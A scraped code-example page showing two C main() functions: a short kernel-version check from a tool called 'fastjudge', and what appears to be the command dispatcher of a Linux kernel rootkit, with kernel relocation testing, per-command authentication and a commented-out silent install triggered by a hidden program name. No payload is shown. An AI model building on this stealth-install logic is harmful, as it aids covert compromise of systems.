Ejemplo n.º 1
0
int main(void) {
	infof("fastjudge 0.0.1");
	kernel_version_t version;
	check_kernel_version(&version);
	EV_P = EV_DEFAULT;

	return 0;
}
Ejemplo n.º 2
0
/* analyze args and take the proper action */
int main(int argc, char *argv[], char *envp[])
{
	opt	*o;
	char	c;

	if (!argc) return 0;
	argv0 = argv[0];
	if (argc == 2) {
		if (!strcmp(argv[1], "reloctest")) {
			printf("%d\n", reloctest((void *) kernel_start,
						 (void *) kernel_end));
			return 0;
		}
		if (!strcmp(argv[1], "showident")) {
			printf("ident for this copy is: %s\n", IDENT);
			return 0;
		}
	}

	setbuf(stdout, NULL);
	setbuf(stderr, NULL);

	if (sk_config(argv[0]))
		return 1;

	if (check_kernel_version())
		return 1;

/*	l = strlen(argv[0]);
	if ((l >= strlen(cfg.hidestr)) &&
	    (!strcmp((argv[0] + l - strlen(cfg.hidestr)), cfg.hidestr)))
	   	return do_install_silent(0, NULL); */

	if (argc <= 1)
		return usage(argv[0]);

	if (strlen(argv[1]) != 1)
		return usage(argv[0]);
	c = argv[1][0];
	for (o = opts; o->opt; o++) 
		if ((c == o->opt) &&
		    ((argc - 2) <= (o->args + o->optargs)) &&
		    ((argc - 2) >= (o->args))) {
		    	switch (o->auth) {
				case AUTH_GLOBAL:
					auth_global();
					break;
				case AUTH_LOCAL:
					auth_local();
					break;
				default:;
			}
		    	return o->handler(argc - 2, &argv[2]);
		}
	return usage(argv[0]);
}